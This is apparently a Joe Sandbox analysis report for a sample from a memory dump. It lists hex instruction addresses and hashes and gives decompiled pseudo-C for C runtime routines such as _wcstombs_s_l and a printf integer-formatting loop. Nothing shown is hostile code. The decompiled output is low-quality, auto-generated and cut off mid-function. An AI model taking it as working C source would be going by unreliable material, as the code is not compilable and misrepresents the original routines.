0x00b9655b
0x00b96562
0x00b96565
0x00b96565
0x00b96568
0x00b965c1
0x00b965c8
0x00b9656a
0x00b96571
0x00b96577
0x00b9657d
0x00b96584
0x00b96587
0x00b9658d
0x00b96595
0x00b96597
0x00b9659e
0x00b965a5
0x00b965ac
0x00b965b4
0x00b965b6
0x00b965b8
0x00b965b8
0x00b965bf
0x00b965cf
0x00b965d5
0x00b965d8
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d74
0x00000000
0x00000000
0x00000000
0x00b96d74
0x00000000
0x00b96a5b
0x00b96a5e
0x00b96a61
0x00b96a64
0x00b96ae2
0x00b96ae5
0x00b96ae5
0x00b96aea
0x00b96b0c
0x00b96b0c
0x00b96b12
0x00b96b34
0x00b96b34
0x00b96b37
0x00b96b7e
0x00b96b7e
0x00b96b81
0x00b96b9e
0x00b96ba2
0x00b96baa
0x00b96baa
0x00b96bac
0x00b96bb2
0x00b96b83
0x00b96b83
0x00b96b87
0x00b96b8f
0x00b96b90
0x00b96b96
0x00b96b96
0x00b96b39
0x00b96b3c
0x00b96b3c
0x00b96b3f
0x00b96b5d
0x00b96b69
0x00b96b6c
0x00b96b6d
0x00b96b73
0x00b96b41
0x00b96b41
0x00b96b45
0x00b96b4d
0x00b96b4e
0x00b96b4f
0x00b96b55
0x00b96b55
0x00b96b79
0x00b96b14
0x00b96b14
0x00b96b20
0x00b96b26
0x00b96b26
0x00b96aec
0x00b96aec
0x00b96af8
0x00b96afe
0x00b96afe
0x00b96bbb
0x00b96bbb
0x00b96bbe
0x00000000
0x00000000
0x00000000
0x00b967ba
0x00b967ba
0x00b967c6
0x00b967cc
0x00b967d1
0x00b967d3
0x00b9687d
0x00b9687d
0x00b96880
0x00b96880
0x00b96883
0x00b96897
0x00b9689d
0x00b968a3
0x00b96885
0x00b96885
0x00b9688b
0x00b96892
0x00b96892
0x00b968a5
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d74
0x00000000
0x00000000
0x00000000
0x00b96d74
0x00b96d70
0x00b967d9
0x00b967d9
0x00b967d9
0x00b967db
0x00b967e9
0x00b967dd
0x00b967dd
0x00b967dd
0x00b967f3
0x00b967f9
0x00b967ff
0x00b96806
0x00b96808
0x00b9680d
0x00b9680f
0x00b96814
0x00b96819
0x00b9681b
0x00b96820
0x00b96823
0x00b96826
0x00b96828
0x00b96828
0x00b96826
0x00b96829
0x00b96830
0x00b96878
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d74
0x00000000
0x00000000
0x00000000
0x00b96d74
0x00b96832
0x00b96832
0x00b96837
0x00b96853
0x00b9685b
0x00b96865
0x00b96868
0x00b9686d
0x00000000
0x00b9686d
0x00000000
0x00b96ac4
0x00b96ac4
0x00b96ace
0x00b96ace
0x00b96ad4
0x00b96ad6
0x00b96ad9
0x00b96ad9
0x00b96adf
0x00b96adf
0x00b96ae2
0x00b96ae2
0x00b96ae5
0x00b96ae5
0x00b96aea
0x00b96b0c
0x00b96b0c
0x00b96b12
0x00b96b34
0x00b96b34
0x00b96b37
0x00b96b7e
0x00b96b7e
0x00b96b81
0x00b96b9e
0x00b96ba2
0x00b96baa
0x00b96baa
0x00b96bac
0x00b96bb2
0x00b96b83
0x00b96b83
0x00b96b87
0x00b96b8f
0x00b96b90
0x00b96b96
0x00b96b96
0x00b96b39
0x00b96b3c
0x00b96b3c
0x00b96b3f
0x00b96b5d
0x00b96b69
0x00b96b6c
0x00b96b6d
0x00b96b73
0x00b96b41
0x00b96b41
0x00b96b45
0x00b96b4d
0x00b96b4e
0x00b96b4f
0x00b96b55
0x00b96b55
0x00b96b79
0x00b96b14
0x00b96b14
0x00b96b20
0x00b96b26
0x00b96b26
0x00b96aec
0x00b96aec
0x00b96af8
0x00b96afe
0x00b96afe
0x00b96bbb
0x00b96bbb
0x00b96bbe
0x00000000
0x00000000
0x00000000
0x00b96bbe
0x00000000
0x00b96a76
0x00b96a76
0x00000000
0x00000000
0x00b9668d
0x00b9668d
0x00b96691
0x00b9669f
0x00b966a2
0x00b96693
0x00b96693
0x00b96693
0x00b966a8
0x00b966ae
0x00b966b4
0x00b966c0
0x00b966c6
0x00b966c6
0x00b966c9
0x00b96751
0x00b96751
0x00b96755
0x00b96757
0x00b9675d
0x00b9675d
0x00b96760
0x00b96767
0x00b9676a
0x00b96770
0x00b96770
0x00b96770
0x00b96776
0x00b9677c
0x00b9677f
0x00b96785
0x00b96787
0x00000000
0x00000000
0x00b96789
0x00b96789
0x00b9678f
0x00b96792
0x00b96794
0x00000000
0x00000000
0x00b96796
0x00b9679c
0x00b9679f
0x00b9679f
0x00b967a7
0x00b967a7
0x00b967ad
0x00b967ad
0x00b967b2
0x00000000
0x00b966cf
0x00b966cf
0x00b966cf
0x00b966d3
0x00b966d5
0x00b966da
0x00b966da
0x00b966dd
0x00b966e0
0x00b966e6
0x00b966f8
0x00b966f8
0x00b966f8
0x00b966fb
0x00b96701
0x00000000
0x00000000
0x00b96703
0x00b96703
0x00b96709
0x00b9670c
0x00b9670e
0x00000000
0x00000000
0x00b96710
0x00b96710
0x00b96719
0x00b9671f
0x00b96723
0x00b9672b
0x00b9672d
0x00b9672f
0x00b96735
0x00b96735
0x00b96738
0x00b96738
0x00b96744
0x00b96747
0x00b966ef
0x00b966f2
0x00b966f2
0x00b966f5
0x00b966f5
0x00b9674f
0x00b967b5
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d74
0x00000000
0x00000000
0x00000000
0x00b96d74
0x00b96d70
0x00000000
0x00b96a6d
0x00b96a6d
0x00b96ae2
0x00b96ae2
0x00b96ae5
0x00b96ae5
0x00b96aea
0x00b96b0c
0x00b96b0c
0x00b96b12
0x00b96b34
0x00b96b34
0x00b96b37
0x00b96b7e
0x00b96b7e
0x00b96b81
0x00b96b9e
0x00b96ba2
0x00b96baa
0x00b96baa
0x00b96bac
0x00b96bb2
0x00b96b83
0x00b96b83
0x00b96b87
0x00b96b8f
0x00b96b90
0x00b96b96
0x00b96b96
0x00b96b39
0x00b96b3c
0x00b96b3c
0x00b96b3f
0x00b96b5d
0x00b96b69
0x00b96b6c
0x00b96b6d
0x00b96b73
0x00b96b41
0x00b96b41
0x00b96b45
0x00b96b4d
0x00b96b4e
0x00b96b4f
0x00b96b55
0x00b96b55
0x00b96b79
0x00b96b14
0x00b96b14
0x00b96b20
0x00b96b26
0x00b96b26
0x00b96aec
0x00b96aec
0x00b96af8
0x00b96afe
0x00b96afe
0x00b96bbb
0x00b96bbb
0x00b96bbe
0x00000000
0x00000000
0x00000000
0x00b96bbe
0x00000000
0x00000000
0x00000000
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d74
0x00000000
0x00000000
0x00000000
0x00b96d74
0x00000000
0x00000000
0x00b962f9
0x00b962f9
0x00b962fc
0x00b962ff
0x00000000
0x00000000
0x00b96304
0x00b96307
0x00b9630d
0x00000000
0x00000000
0x00b962ee
0x00b962f1
0x00b962f4
0x00000000
0x00000000
0x00b962e3
0x00b962e6
0x00b962e9
0x00000000
0x00000000
0x00b96312
0x00b96312
0x00b96315
0x00b96315
0x00b96318
0x00000000
0x00000000
0x00b9631b
0x00000000
0x00000000
0x00b9618b
0x00b9618b
0x00b9618d
0x00b9619b
0x00b9618f
0x00b9618f
0x00b9618f
0x00b961ab
0x00b961b8
0x00b961ba
0x00b961bf
0x00b961c1
0x00b961c6
0x00b961cb
0x00b961cd
0x00b961d2
0x00b961d8
0x00b961da
0x00b961da
0x00b961d8
0x00b961db
0x00b961e2
0x00000000
0x00b961e4
0x00b961e9
0x00b96205
0x00b9620d
0x00b9621a
0x00b9621f
0x00b97034
0x00b97041
0x00b97041
0x00b961e2
0x00b96185
0x00b96f70
0x00b96f70
0x00b96f77
0x00b96f8e
0x00b96f8e
0x00b96f98
0x00b96f98
0x00b96f9e
0x00b96fa4
0x00b96fab
0x00b96fad
0x00b96fb2
0x00b96fb4
0x00b96fb9
0x00b96fbe
0x00b96fc0
0x00b96fc5
0x00b96fc8
0x00b96fcb
0x00b96fcd
0x00b96fcd
0x00b96fcb
0x00b96fce
0x00b96fd5
0x00b97020
0x00b97029
0x00b9702e
0x00b96fd7
0x00b96fdc
0x00b96ff8
0x00b97000
0x00b9700d
0x00b97012
0x00b97012
0x00000000
0x00b96fd5
0x00b96f79
0x00b96f79
0x00b96f80
0x00000000
0x00000000
0x00b96f82
0x00b96f82
0x00000000
0x00b96f82
0x00b96d70
0x00b96d47
0x00b96d47
0x00b96d4b
0x00b96d58
0x00b96d5b
0x00b96d5e
0x00b96d61
0x00b96d64
0x00b96d67
0x00b96d6a
0x00b96d6a
0x00b96d6d
0x00000000
0x00b96d6d
0x00b96d4d
0x00b96d4d
0x00b96d50
0x00b96d53
0x00b96d56
0x00000000
0x00000000
0x00000000
0x00b96d56
0x00b96cac
0x00b96cac
0x00b96caf
0x00b96cb2
0x00b96cb9
0x00b96cc0
0x00b96cc8
0x00b96cce
0x00b96cd1
0x00b96cd4
0x00b96cdb
0x00b96ce7
0x00b96ced
0x00b96cf3
0x00b96cfa
0x00b96cfc
0x00b96d02
0x00b96d02
0x00b96d08
0x00b96d08
0x00b96d0e
0x00b96d17
0x00b96d1c
0x00b96d1f
0x00b96c8e
0x00b96c8e
0x00b96c94
0x00b96c97
0x00b96c9a
0x00b96c9c
0x00000000
0x00000000
0x00000000
0x00b96c9c
0x00b96c8e
0x00b96bcb
0x00b96bcb
0x00b96bd2
0x00000000
0x00000000
0x00000000
0x00b96c00
0x00b96c00
0x00b96c06
0x00b96c0c
0x00b96c12
0x00000000
0x00b96c12
0x00b96ae2
0x00b96a93

APIs

_get_int64_arg.LIBCMTD ref: 00B96AF0
__aullrem.LIBCMT ref: 00B96CC0
__aulldiv.LIBCMT ref: 00B96CE2

Strings

9, xrefs: 00B96CF3
', xrefs: 00B96A89

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 71b28335d6c6224dbe09ff061b8d45077340171bd07b44b5702c8088a0f630c3
Instruction ID: f4937d24e8d6f1c99440839bfabfa09c960edda3ec765d240b60193844dff037
Opcode Fuzzy Hash: 71b28335d6c6224dbe09ff061b8d45077340171bd07b44b5702c8088a0f630c3
Instruction Fuzzy Hash: DE41D1B1E106299FDF24CF58C881BAEB7B5FF85314F1040E8E189AB241D7349A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00B92CB3 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E00B92CB3(void* __edi) {
				signed int _t74;
				intOrPtr _t75;
				void* _t80;
				signed int _t84;
				void* _t92;
				void* _t97;
				signed int _t106;
				signed int _t108;
				signed int _t112;
				signed int _t113;
				intOrPtr _t114;
				signed int _t117;
				signed int _t119;
				signed int _t125;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t131;
				void* _t132;
				void* _t140;

				_t127 = __edi;
				_t113 =  *(_t129 + 0xc);
				 *_t113 = 0;
				if( *(_t129 + 0x10) != 0xffffffff &&  *(_t129 + 0x10) != 0x7fffffff &&  *(_t129 + 0x10) > 1) {
					_t140 =  *0xd11328 -  *(_t129 + 0x10) - 1; // 0xffffffff
					if(_t140 >= 0) {
						_t113 =  *(_t129 + 0x10) - 1;
						__eflags = _t113;
						 *(_t129 - 0x20) = _t113;
					} else {
						_t112 =  *0xd11328; // 0xffffffff
						 *(_t129 - 0x20) = _t112;
					}
					E00B81BB0(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x20));
					_t131 = _t131 + 0xc;
				}
				if( *(_t129 + 8) != 0) {
					_t113 =  *(_t129 + 8);
					 *_t113 = 0;
				}
				if( *(_t129 + 0x18) <=  *(_t129 + 0x10)) {
					_t113 =  *(_t129 + 0x18);
					 *(_t129 - 0x24) = _t113;
				} else {
					 *(_t129 - 0x24) =  *(_t129 + 0x10);
				}
				 *(_t129 - 8) =  *(_t129 - 0x24);
				asm("sbb edx, edx");
				_t114 = _t113 + 1;
				 *((intOrPtr*)(_t129 - 0x14)) = _t114;
				if(_t114 == 0) {
					_push(L"bufferSize <= INT_MAX");
					_push(0);
					_push(0x13f);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t92 = L00B7D760();
					_t131 = _t131 + 0x14;
					if(_t92 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t129 - 0x14)) != 0) {
					_t100 =  *(_t129 + 0xc);
					_t74 = L00B92720( *(_t129 + 0xc),  *((intOrPtr*)(_t129 + 0x14)),  *(_t129 - 8),  *((intOrPtr*)(_t129 + 0x1c)));
					_t132 = _t131 + 0x10;
					 *(_t129 - 0xc) = _t74;
					__eflags =  *(_t129 - 0xc) - 0xffffffff;
					if( *(_t129 - 0xc) != 0xffffffff) {
						_t117 =  *(_t129 - 0xc) + 1;
						 *(_t129 - 0xc) = _t117;
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) == 0) {
							L45:
							__eflags =  *(_t129 + 8);
							if( *(_t129 + 8) != 0) {
								 *( *(_t129 + 8)) =  *(_t129 - 0xc);
							}
							_t75 =  *((intOrPtr*)(_t129 - 4));
							goto L48;
						}
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						if( *(_t129 - 0xc) <=  *(_t129 + 0x10)) {
							L44:
							_t119 =  *(_t129 + 0xc) +  *(_t129 - 0xc);
							__eflags = _t119;
							 *((char*)(_t119 - 1)) = 0;
							goto L45;
						}
						__eflags =  *(_t129 + 0x18) - 0xffffffff;
						if( *(_t129 + 0x18) == 0xffffffff) {
							L43:
							 *(_t129 - 0xc) =  *(_t129 + 0x10);
							 *((intOrPtr*)(_t129 - 4)) = 0x50;
							goto L44;
						}
						 *( *(_t129 + 0xc)) = 0;
						__eflags =  *(_t129 + 0x10) - 0xffffffff;
						if( *(_t129 + 0x10) != 0xffffffff) {
							__eflags =  *(_t129 + 0x10) - 0x7fffffff;
							if( *(_t129 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t129 + 0x10) - 1;
								if( *(_t129 + 0x10) > 1) {
									__eflags =  *0xd11328 -  *(_t129 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t106 =  *(_t129 + 0x10) - 1;
										__eflags = _t106;
										 *(_t129 - 0x2c) = _t106;
									} else {
										_t84 =  *0xd11328; // 0xffffffff
										 *(_t129 - 0x2c) = _t84;
									}
									_t117 =  *(_t129 - 0x2c);
									__eflags =  *(_t129 + 0xc) + 1;
									E00B81BB0(_t127,  *(_t129 + 0xc) + 1, 0xfe, _t117);
									_t132 = _t132 + 0xc;
								}
							}
						}
						_t104 =  *(_t129 + 0x10);
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						asm("sbb edx, edx");
						 *(_t129 - 0x18) =  ~_t117;
						if( *(_t129 - 0xc) ==  *(_t129 + 0x10)) {
							_push(L"sizeInBytes > retsize");
							_push(0);
							_push(0x157);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
							_push(2);
							_t80 = L00B7D760();
							_t132 = _t132 + 0x14;
							__eflags = _t80 - 1;
							if(_t80 == 1) {
								asm("int3");
							}
						}
						__eflags =  *(_t129 - 0x18);
						if( *(_t129 - 0x18) != 0) {
							goto L43;
						} else {
							 *((intOrPtr*)(L00B80C60(_t104))) = 0x22;
							E00B809F0(_t97, _t104, _t127, _t128, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
							_t75 = 0x22;
							goto L48;
						}
					} else {
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) != 0) {
							 *( *(_t129 + 0xc)) = 0;
							__eflags =  *(_t129 + 0x10) - 0xffffffff;
							if( *(_t129 + 0x10) != 0xffffffff) {
								__eflags =  *(_t129 + 0x10) - 0x7fffffff;
								if( *(_t129 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t129 + 0x10) - 1;
									if( *(_t129 + 0x10) > 1) {
										__eflags =  *0xd11328 -  *(_t129 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t125 =  *(_t129 + 0x10) - 1;
											__eflags = _t125;
											 *(_t129 - 0x28) = _t125;
										} else {
											_t108 =  *0xd11328; // 0xffffffff
											 *(_t129 - 0x28) = _t108;
										}
										_t100 =  *(_t129 + 0xc) + 1;
										__eflags =  *(_t129 + 0xc) + 1;
										E00B81BB0(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x28));
									}
								}
							}
						}
						_t75 =  *((intOrPtr*)(L00B80C60(_t100)));
						L48:
						return _t75;
					}
				}
				 *((intOrPtr*)(L00B80C60(0x7fffffff))) = 0x16;
				E00B809F0(_t97, 0x7fffffff, _t127, _t128, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
				_t75 = 0x16;
				goto L48;
			}

0x00b92cb3
0x00b92cb3
0x00b92cb6
0x00b92cbd
0x00b92cd4
0x00b92cda
0x00b92cea
0x00b92cea
0x00b92ced
0x00b92cdc
0x00b92cdc
0x00b92ce2
0x00b92ce2
0x00b92d00
0x00b92d05
0x00b92d05
0x00b92d0c
0x00b92d0e
0x00b92d11
0x00b92d11
0x00b92d1d
0x00b92d27
0x00b92d2a
0x00b92d1f
0x00b92d22
0x00b92d22
0x00b92d30
0x00b92d3b
0x00b92d3d
0x00b92d40
0x00b92d43
0x00b92d45
0x00b92d4a
0x00b92d4c
0x00b92d51
0x00b92d56
0x00b92d58
0x00b92d5d
0x00b92d63
0x00b92d65
0x00b92d65
0x00b92d63
0x00b92d6a
0x00b92dab
0x00b92daf
0x00b92db4
0x00b92db7
0x00b92dba
0x00b92dbe
0x00b92e2a
0x00b92e2d
0x00b92e30
0x00b92e34
0x00b92f21
0x00b92f21
0x00b92f25
0x00b92f2d
0x00b92f2d
0x00b92f2f
0x00000000
0x00b92f2f
0x00b92e3d
0x00b92e40
0x00b92f17
0x00b92f1a
0x00b92f1a
0x00b92f1d
0x00000000
0x00b92f1d
0x00b92e46
0x00b92e4a
0x00b92f0a
0x00b92f0d
0x00b92f10
0x00000000
0x00b92f10
0x00b92e53
0x00b92e56
0x00b92e5a
0x00b92e5c
0x00b92e63
0x00b92e65
0x00b92e69
0x00b92e71
0x00b92e77
0x00b92e86
0x00b92e86
0x00b92e89
0x00b92e79
0x00b92e79
0x00b92e7e
0x00b92e7e
0x00b92e8c
0x00b92e98
0x00b92e9c
0x00b92ea1
0x00b92ea1
0x00b92e69
0x00b92e63
0x00b92ea4
0x00b92ea7
0x00b92eaa
0x00b92eae
0x00b92eb1
0x00b92eb3
0x00b92eb8
0x00b92eba
0x00b92ebf
0x00b92ec4
0x00b92ec6
0x00b92ecb
0x00b92ece
0x00b92ed1
0x00b92ed3
0x00b92ed3
0x00b92ed1
0x00b92ed4
0x00b92ed8
0x00000000
0x00b92eda
0x00b92edf
0x00b92efb
0x00b92f03
0x00000000
0x00b92f03
0x00b92dc0
0x00b92dc0
0x00b92dc4
0x00b92dc9
0x00b92dcc
0x00b92dd0
0x00b92dd2
0x00b92dd9
0x00b92ddb
0x00b92ddf
0x00b92de7
0x00b92ded
0x00b92dfd
0x00b92dfd
0x00b92e00
0x00b92def
0x00b92def
0x00b92df5
0x00b92df5
0x00b92e0f
0x00b92e0f
0x00b92e13
0x00b92e18
0x00b92ddf
0x00b92dd9
0x00b92dd0
0x00b92e20
0x00b92f32
0x00b92f35
0x00b92f35
0x00b92dbe
0x00b92d71
0x00b92d8d
0x00b92d95
0x00000000

APIs

_memset.LIBCMT ref: 00B92D00
__invalid_parameter.LIBCMTD ref: 00B92D8D

Strings

_wcstombs_s_l, xrefs: 00B92D83
bufferSize <= INT_MAX, xrefs: 00B92D45, 00B92D88
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 00B92D51, 00B92D7E

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3961059608-322421350
Opcode ID: fad81eb4077eeee88aabca004477739ebae87eb65c446136c9536e0249af9fd3
Instruction ID: 6aeaea46d8dacf055bb316d5b0b3061b536eb51681a7381603e24eb88ae073d1
Opcode Fuzzy Hash: fad81eb4077eeee88aabca004477739ebae87eb65c446136c9536e0249af9fd3
Instruction Fuzzy Hash: 45216930E40349ABDF24DF58C841BAE77E0FF45714F2082B9F8256A2A1D7719A50CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B96A76 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00B96A76() {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				intOrPtr _t501;
				signed int _t519;
				intOrPtr _t523;
				intOrPtr _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					 *(_t525 - 0x30) = 8;
					while(1) {
						L143:
						 *(__ebp - 0x460) = 7;
						while(1) {
							L145:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								__edx = 0x30;
								 *(__ebp - 0x14) = __dx;
								 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
								__eflags =  *(__ebp - 0x460) + 0x51;
								 *(__ebp - 0x12) = __ax;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L150:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00B93D50(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00B93D50(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00B93D50(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
												 *(__ebp - 0x49c) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00B93D50(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x4a0) = E00B93D70(__ebp + 0x14);
										 *(__ebp - 0x49c) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00B93D70(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L167;
								}
								L163:
								__eflags =  *(__ebp - 0x49c);
								if(__eflags > 0) {
									goto L167;
								}
								L164:
								if(__eflags < 0) {
									L166:
									 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
									__edx =  *(__ebp - 0x49c);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
									 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L168:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x4a8);
											__eax =  *(__ebp - 0x4a4);
											__eax =  *(__ebp - 0x4a4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x4a4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x249;
									 *(__ebp - 4) = __ebp - 0x249;
									while(1) {
										L178:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L180;
										}
										L179:
										 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
											L183:
											__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L187:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L212;
													}
													L188:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	__edx = 0x20;
																	 *(__ebp - 0x14) = __dx;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																__eax = 0x2b;
																 *(__ebp - 0x14) = __ax;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__ecx = 0x2d;
															 *(__ebp - 0x14) = __cx;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
